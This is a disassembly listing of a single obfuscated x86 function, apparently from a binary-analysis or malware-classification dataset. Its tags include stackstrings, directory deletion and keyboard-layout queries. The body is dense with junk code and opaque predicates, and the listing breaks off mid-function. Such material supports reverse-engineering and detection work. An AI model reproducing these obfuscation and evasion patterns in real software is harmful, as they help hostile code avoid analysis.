Function at 0x1003b736
Capabilities:
Contain obfuscated stackstrings
Delete directory
Get disk information
Get keyboard layout
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10064f1a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x9bc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 2
lea ecx, [ebp - 0x8ac]
call fcn.10001f82
and dword [ebp - 4], 0
mov dword [ebp - 0x288], 0x57976326
mov dword [ebp - 0x280], 0
jmp 0x1003b78f
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jge 0x1003b7b1
push dword [ebp - 0x280]
lea ecx, [ebp - 0x8ac]
call fcn.10001ffb
mov dword [eax], 7
jmp 0x1003b782
mov dword [ebp - 0x288], 1
jmp 0x1003b7ca
mov eax, dword [ebp - 0x288]
dec eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0
jl 0x1003b81f
mov dword [ebp - 0x290], 0x4696a485
mov dword [ebp - 0x290], 1
jmp 0x1003b7f6
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0
jl 0x1003b81d
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x1003b81b
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
jmp 0x1003b7e9
jmp 0x1003b7bd
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8ac]
call fcn.10001fdf
cmp dword [0x10146c58], 0
jne 0x1003fa2d
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x2c0], 3
mov dword [ebp - 0x274], 0
jmp 0x1003b865
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 3
jge 0x1003b881
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0x590], 0xfffffffc
jmp 0x1003b858
mov dword [ebp - 0x40], 2
jmp 0x1003b891
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x1003ba39
mov dword [ebp - 0x518], 0x34859bb
mov dword [ebp - 0x2ec], 0x53526c71
mov dword [ebp - 0x2c0], 0xb3a0
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x91c], eax
push 4
pop eax
cmp eax, 0xe33a
ja 0x1003b8e4
mov dword [ebp - 0x3ec], 1
jmp 0x1003b8eb
and dword [ebp - 0x3ec], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x590]
cmp dword [ebp - 0x3ec], eax
jg 0x1003b90b
mov dword [ebp - 0x510], 1
jmp 0x1003b912
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x518], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x590]
sub eax, dword [ebp - 0x518]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x590]
imul ecx, dword [ebp - 0x40]
cmp ecx, eax
jg 0x1003b95b
mov eax, 0x4055
test eax, eax
je 0x1003b95b
mov dword [ebp - 0x53c], 1
jmp 0x1003b962
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0x53c], eax
jl 0x1003b97c
mov dword [ebp - 0x560], 1
jmp 0x1003b983
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x560]
sub eax, 0x8700d35
mov ecx, dword [ebp - 0x40]
cmp dword [ebp + ecx*4 - 0x590], eax
jle 0x1003b9a6
mov dword [ebp - 0x508], 1
jmp 0x1003b9ad
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0x508], eax
je 0x1003b9c7
mov dword [ebp - 0x56c], 1
jmp 0x1003b9ce
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0x70e81de9
jg 0x1003b9e6
mov dword [ebp - 0x2f4], 1
jmp 0x1003b9ed
and dword [ebp - 0x2f4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x590]
cmp dword [ebp - 0x2f4], eax
jg 0x1003ba0d
mov dword [ebp - 0x6a8], 1
jmp 0x1003ba14
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x924], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x590]
mov ecx, dword [ebp - 0x40]
mov dword [ebp + ecx*4 - 0x590], eax
jmp 0x1003b88a
mov dword [ebp - 0x6dc], 0x168a
cmp dword [ebp - 0x6dc], 0x1294
jge 0x1003bb84
lea eax, [ebp - 0xe8]
push eax
push 0x1006d794
call fcn.1004b73b
pop ecx
pop ecx
and dword [ebp - 0x444], 0
and dword [ebp - 0x2fc], 0
and dword [ebp - 0xf0], 0
and dword [ebp - 0x108], 0
and dword [ebp - 0x2b8], 0
jmp 0x1003ba98
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
mov eax, dword [ebp - 0x2b8]
cmp eax, dword [ebp - 0xe8]
jge 0x1003bae7
lea eax, [ebp - 0x2fc]
push eax
lea eax, [ebp - 0x444]
push eax
push str._d__d
call fcn.1004b73b
add esp, 0xc
mov eax, dword [ebp - 0xf0]
add eax, dword [ebp - 0x444]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x108]
add eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x108], eax
jmp 0x1003ba8b
and dword [ebp - 0x158], 0
mov eax, dword [ebp - 0xe8]
cdq
sub eax, edx
sar eax, 1
cmp dword [ebp - 0xf0], eax
jg 0x1003bb0f
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x4ec], eax
jmp 0x1003bb21
mov eax, dword [ebp - 0xe8]
sub eax, dword [ebp - 0xf0]
mov dword [ebp - 0x4ec], eax
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0xe8]
cdq
sub eax, edx
sar eax, 1
cmp dword [ebp - 0x108], eax
jg 0x1003bb4e
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x304], eax
jmp 0x1003bb60
mov eax, dword [ebp - 0xe8]
sub eax, dword [ebp - 0x108]
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x158]
add eax, dword [ebp - 0x304]
mov dword [ebp - 0x158], eax
push dword [ebp - 0x158]
push 0x1006dde0
call fcn.1004b116
pop ecx
pop ecx
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x8f8], 0x28c176b0
mov byte [ebp - 0x8e], 0
movzx eax, byte [ebp - 0x8e]
test eax, eax
je 0x1003bbc0
push 0x9a7
push 0
push 0x25a8
push 0x1b4f
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x1003bbf2
push 0x1d35
push 0
push 0
push 0x22f8
push 0x1660
push 0
push 0x1ce4
call dword [sym.imp.GDI32.dll_GetDIBits]
mov byte [ebp - 0x144], 0
mov byte [ebp - 0x143], 0xf6
mov byte [ebp - 0x142], 1
mov byte [ebp - 0x141], 0x2e
mov byte [ebp - 0x140], 0xb
mov byte [ebp - 0x13f], 0x27
mov byte [ebp - 0x13e], 8
mov byte [ebp - 0x13d], 0x42
mov byte [ebp - 0x13c], 7
mov byte [ebp - 0x13b], 0x1c
mov byte [ebp - 0x13a], 9
mov byte [ebp - 0x139], 0x56
mov byte [ebp - 0x138], 0xa
mov byte [ebp - 0x137], 8
mov byte [ebp - 0x136], 2
mov byte [ebp - 0x135], 0x1e
mov byte [ebp - 0x134], 6
mov byte [ebp - 0x133], 0x41
mov byte [ebp - 0x132], 1
mov byte [ebp - 0x131], 0x56
mov byte [ebp - 0x130], 3
mov byte [ebp - 0x12f], 0xb
mov byte [ebp - 0x12e], 4
mov byte [ebp - 0x12d], 0xb
mov byte [ebp - 0x12c], 5
mov byte [ebp - 0x12b], 9
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 0
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x1c], 0xa4a12b57
mov dword [ebp - 0x32c], 2
mov dword [ebp - 0xe0], 0x6046e74a
mov dword [ebp - 0x45c], 0xffffffff
mov dword [ebp - 0x4fc], 0xbdf607db
mov dword [ebp - 0x1c], 3
jmp 0x1003bd0f
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1003bed7
mov dword [ebp - 0x44c], 0x4641
mov dword [ebp - 0x5fc], str.lqfk_vefwktb_opbqjtjiv_cpgtdey_pthzwddqy_ukbzbwlf_hjgbywolu_mzja_cdrpp
cmp dword [ebp - 0x44c], 0x47b1
jle 0x1003bde7
and dword [ebp - 0x164], 0
jmp 0x1003bd53
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x580c
jge 0x1003bde7
and dword [ebp - 0x260], 0
jmp 0x1003bd79
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x7499
jge 0x1003bde2
and dword [ebp - 0x16c], 0
jmp 0x1003bd9b
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x6eb5
jge 0x1003bde0
mov eax, dword [ebp - 0x164]
add eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x16c]
shl eax, cl
cdq
mov dword [ebp - 0x61c], eax
mov dword [ebp - 0x618], edx
push dword [ebp - 0x618]
push dword [ebp - 0x61c]
mov ecx, 0x10081838
call fcn.10001e6d
jmp 0x1003bd8e
jmp 0x1003bd6c
jmp 0x1003bd46
mov dword [ebp - 0x30c], 0xa9d1
mov dword [ebp - 4], 1
cmp dword [ebp - 0x44c], 0x43b3
jge 0x1003be14
mov edx, dword [ebp - 0x5fc]
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1003be30
or dword [ebp - 4], 0xffffffff
jmp 0x1003be3a
cmp dword [ebp - 0x30c], 0
je 0x1003be79
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x1003be5f
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
mov byte [ebp - 0xbb], 0
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x1003be77
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x1003bed2
cmp dword [ebp - 0x30c], 0
je 0x1003be9f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x584]
inc eax
inc eax
je 0x1003be9f
mov dword [ebp - 0x540], 1
jmp 0x1003bea6
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x540]
mov dword [ebp + eax*4 - 0x584], ecx
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x1003bed2
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
jmp 0x1003bd08
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x84c], eax
xor eax, eax
inc eax
je 0x1003befa
cmp dword [ebp - 0x1c], 0
je 0x1003befa
mov dword [ebp - 0x314], 1
jmp 0x1003bf01
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x314], eax
jg 0x1003bf1b
mov dword [ebp - 0x600], 1
jmp 0x1003bf22
and dword [ebp - 0x600], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x584]
mov dword [ebp - 0x8d8], eax
mov eax, 0x8f59172d
cmp eax, 0x1a6e483b
ja 0x1003bf4d
mov dword [ebp - 0x454], 1
jmp 0x1003bf54
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x454]
test eax, eax
je 0x1003bf71
mov dword [ebp - 0x31c], 1
jmp 0x1003bf78
and dword [ebp - 0x31c], 0
cmp dword [ebp - 0x31c], 2
je 0x1003bf8d
mov dword [ebp - 0x4f4], 1
jmp 0x1003bf94
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x4f4], eax
jl 0x1003bfae
mov dword [ebp - 0x2c8], 1
jmp 0x1003bfb5
and dword [ebp - 0x2c8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp + eax - 0x584], ecx
cmp dword [ebp - 0x2c8], 0
je 0x1003bffd
mov dword [ebp - 0x1c], 3
jmp 0x1003bfe1
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1003bff8
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x584], 0
je 0x1003bff6
jmp 0x1003bff8
jmp 0x1003bfda
jmp 0x1003c1f4
push 1
lea ecx, [ebp - 0x5c0]
call fcn.10001f82
mov dword [ebp - 4], 3
mov dword [ebp - 0x608], 0
mov dword [ebp - 0x224], 0
jmp 0x1003c034
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 1
jge 0x1003c053
push dword [ebp - 0x224]
lea ecx, [ebp - 0x5c0]
call fcn.10001ffb
and dword [eax], 0
jmp 0x1003c027
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x1003c071
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
lea ecx, [ebp - 0x5c0]
call fcn.10001ffb
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x584], 0xffff
jae 0x1003c09d
mov dword [ebp - 0x324], 1
jmp 0x1003c0a4
and dword [ebp - 0x324], 0
imul eax, dword [ebp - 0x324], 0x945
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0
jle 0x1003c0c9
mov dword [ebp - 0x564], 1
jmp 0x1003c0d0
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x32c]
cmp dword [ebp - 0x564], eax
jne 0x1003c0ea
mov dword [ebp - 0x2d0], 1
jmp 0x1003c0f1
and dword [ebp - 0x2d0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp + eax - 0x584], ecx
push 0
lea ecx, [ebp - 0x5c0]
call fcn.10001ffb
push 0
lea ecx, [ebp - 0x5c0]
call fcn.10001ffb
cmp dword [eax], 1
jbe 0x1003c12f
mov dword [ebp - 0x334], 1
jmp 0x1003c136
and dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0x334]
jne 0x1003c162
mov dword [ebp - 0x464], 1
jmp 0x1003c169
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x464]
add eax, 0x7d0c3f8a
cmp eax, 0x7e8f
jg 0x1003c187
mov dword [ebp - 0x33c], 1
jmp 0x1003c18e
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x4fc], eax
mov esi, dword [ebp - 0x4fc]
push 0
lea ecx, [ebp - 0x5c0]
call fcn.10001ffb
imul esi, dword [eax]
test esi, esi
je 0x1003c1c9
mov eax, 0xc25470e9
test eax, eax
je 0x1003c1c9
mov dword [ebp - 0x344], 1
jmp 0x1003c1d0
and dword [ebp - 0x344], 0
push 0
lea ecx, [ebp - 0x5c0]
call fcn.10001ffb
mov ecx, dword [ebp - 0x344]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c0]
call fcn.10001fdf
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x144]
and eax, 0xbd
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x144]
or ecx, 0xbd
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x144]
mov word [ebp + eax*2 - 0x840], cx
mov dword [ebp - 0x610], 0x256915a
mov dword [ebp - 0x46c], 7
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x854], 0xd53b
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x1003c281
push 0
push 0x935
push 0xf7c
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x20], 2
and dword [ebp - 0x27c], 0
jmp 0x1003c2b1
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1a
jae 0x1003d1ac
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x34], 0x27f7b6fe
mov dword [ebp - 0x174], 0xfffffffc
jmp 0x1003c2e5
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 6
jne 0x1003c68d
mov dword [ebp - 0x100], 0
mov dword [ebp - 0x7bc], 0x6f1fdbd0
mov dword [ebp - 0x7b8], 0x6f1fdbd0
mov dword [ebp - 0x7b4], 0x6f1fdbd0
mov dword [ebp - 0x7b0], 0x6f1fdbd0
mov dword [ebp - 0x100], 0
jmp 0x1003c33d
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffff6
jne 0x1003c688
mov dword [ebp - 0x4c], 0xca2961c0
mov dword [ebp - 0x29c], 0xffffffff
mov dword [ebp - 0x4c], 0
jmp 0x1003c36b
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xe
jne 0x1003c52e
mov dword [ebp - 0x25c], 0
jmp 0x1003c38e
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 2
jge 0x1003c3aa
mov eax, dword [ebp - 0x25c]
mov dword [ebp + eax*4 - 0x5c8], 0xfffffff8
jmp 0x1003c381
mov byte [ebp - 0x9f], 0
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x1003c3d0
push 0
push 0x1799
push 0x254b
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x5c8], 0
jmp 0x1003c3fe
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5c8]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x5c8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5c8], 0xffffffef
jne 0x1003c529
mov dword [ebp - 0xf8], 0x5751cfd1
mov dword [ebp - 0xf8], 0
jmp 0x1003c435
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x1003c524
mov dword [ebp - 0x6b0], 0xeb59008c
cmp dword [ebp - 0x6b0], 0xa8b060d2
je 0x1003c464
mov dword [ebp - 0x34c], 1
jmp 0x1003c46b
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 3
jmp 0x1003c484
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x1003c51f
mov dword [ebp - 0x354], 0x791e6e40
mov dword [ebp - 0x6b8], 1
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x7bc], 0
je 0x1003c4b8
cmp dword [ebp - 0x100], 0
jne 0x1003c4ca
mov eax, 0xd9796a0b
test eax, eax
jne 0x1003c4ca
and dword [ebp - 0x550], 0
jmp 0x1003c4d4
mov dword [ebp - 0x550], 1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x550]
sub ecx, dword [ebp - 0x354]
cmp ecx, dword [ebp + eax*4 - 0x7bc]
jge 0x1003c501
mov dword [ebp - 0x474], 1
jmp 0x1003c508
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x474]
mov dword [ebp - 0x6b8], eax
jmp 0x1003c47d
jmp 0x1003c428
jmp 0x1003c3e3
jmp 0x1003c364
mov dword [ebp - 0x4c], 0xfffffff2
jmp 0x1003c53e
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xfffffff4
jg 0x1003c683
mov dword [ebp - 0x35c], 0xfffffff8
mov dword [ebp - 0x17c], 0
jmp 0x1003c56b
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 2
jge 0x1003c587
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x5d0], 0xca3c47aa
jmp 0x1003c55e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5d0]
cmp eax, dword [ebp - 0x4c]
je 0x1003c5a5
mov dword [ebp - 0x364], 1
jmp 0x1003c5ac
and dword [ebp - 0x364], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5d0]
mov dword [ebp - 0x35c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5d0]
sub eax, dword [ebp - 0x35c]
cmp eax, 0x3a5d
jge 0x1003c5e5
mov dword [ebp - 0x504], 1
jmp 0x1003c5ec
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x504], eax
jne 0x1003c603
mov dword [ebp - 0x47c], 1
jmp 0x1003c60a
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x364]
neg eax
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x47c]
jg 0x1003c632
mov dword [ebp - 0x36c], 1
jmp 0x1003c639
and dword [ebp - 0x36c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5d0]
imul eax, dword [ebp - 0x36c]
cmp eax, 0xde37d660
je 0x1003c660
mov dword [ebp - 0x568], 1
jmp 0x1003c667
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x29c], 0
je 0x1003c67e
jmp 0x1003c537
jmp 0x1003c537
jmp 0x1003c330
jmp 0x1003c2d8
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x1003c6b8
push 0
push 0
push 0x2683
push 0xfd3
push 0x2602
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x144]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x1003ce12
mov dword [ebp - 0x22c], 0x60477862
mov dword [ebp - 0x22c], 0
jmp 0x1003c6f6
mov eax, dword [ebp - 0x22c]
dec eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0xfffffff7
jge 0x1003c724
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x1003c722
push 0
push 0
push 0x7ea
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
jmp 0x1003c6e9
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x1003c756
push 0
push 0x3e9
push 0
push 0x1424
push 0x1f81
push 0
push 0xe52
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x144]
inc eax
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x184], 0
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x1003c7a0
push 0x26d1
push 0
push 0x1dc5
push 0x1855
push 0x2677
call dword [sym.imp.GDI32.dll_TextOutA]
mov dword [ebp - 0x184], 0
jmp 0x1003c7b9
mov eax, dword [ebp - 0x184]
dec eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0xfffffff3
jge 0x1003c89d
push 1
lea ecx, [ebp - 0x6f8]
call fcn.10001f82
mov dword [ebp - 4], 4
mov dword [ebp - 0x284], 0
jmp 0x1003c7f3
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 1
jge 0x1003c815
push dword [ebp - 0x284]
lea ecx, [ebp - 0x6f8]
call fcn.10001ffb
mov dword [eax], 0x97eede0b
jmp 0x1003c7e6
push 0
lea ecx, [ebp - 0x6f8]
call fcn.10001ffb
and dword [eax], 0
jmp 0x1003c84b
push 0
lea ecx, [ebp - 0x6f8]
call fcn.10001ffb
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x374]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x374]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x6f8]
call fcn.10001ffb
cmp dword [eax], 0x13
jge 0x1003c889
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x1003c887
push 0x21c5
push 0
push 0
push 0
push 0
push 0x10b0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x1003c827
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6f8]
call fcn.10001fdf
jmp 0x1003c7ac
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x144]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x6c8], 0x9d20
mov dword [ebp - 0x2bc], 0xe2b79dc8
mov dword [ebp - 0x37c], 0xd1d2a6f9
mov dword [ebp - 0x6d0], 0xcbbbc254
mov dword [ebp - 0x2a4], 1
push 1
lea ecx, [ebp - 0x788]
call fcn.10001f82
mov dword [ebp - 4], 5
mov dword [ebp - 0x18], 0
jmp 0x1003c908
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1003c91e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x77c], 7
jmp 0x1003c901
mov dword [ebp - 0x18], 0
jmp 0x1003c92e
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1003c944
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x14c], 0
jmp 0x1003c927
mov dword [ebp - 0x18], 0
jmp 0x1003c954
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x1003c970
push dword [ebp - 0x18]
lea ecx, [ebp - 0x788]
call fcn.10001ffb
mov dword [eax], 0x67e7
jmp 0x1003c94d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x14c], 0
jmp 0x1003c99e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x14c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14c], 3
jg 0x1003cb65
mov dword [ebp - 0x94], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
cmp dword [ebp + eax*4 - 0x77c], 0
je 0x1003c9d8
jmp 0x1003cb65
mov dword [ebp - 0x94], 3
jmp 0x1003c9f1
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jl 0x1003cb60
mov dword [ebp - 0x7c], 0x1ea66e58
mov dword [ebp - 0x7c], 3
jmp 0x1003ca15
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jl 0x1003ca37
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp + eax*4 - 0x77c]
mov ecx, dword [ebp - 0x94]
mov dword [ebp + ecx*4 - 0x77c], eax
jmp 0x1003ca0e
mov dword [ebp - 0x7c], 0
jmp 0x1003ca47
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jg 0x1003cb5b
push 3
lea ecx, [ebp - 0x708]
call fcn.10001f82
mov byte [ebp - 4], 6
mov dword [ebp - 0x18c], 0
jmp 0x1003ca7b
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jge 0x1003ca9a
push dword [ebp - 0x18c]
lea ecx, [ebp - 0x708]
call fcn.10001ffb
or dword [eax], 0xffffffff
jmp 0x1003ca6e
push 0
lea ecx, [ebp - 0x708]
call fcn.10001ffb
and dword [eax], 0
jmp 0x1003cad0
push 0
lea ecx, [ebp - 0x708]
call fcn.10001ffb
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x484]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x484]
mov dword [ecx], eax
push 0
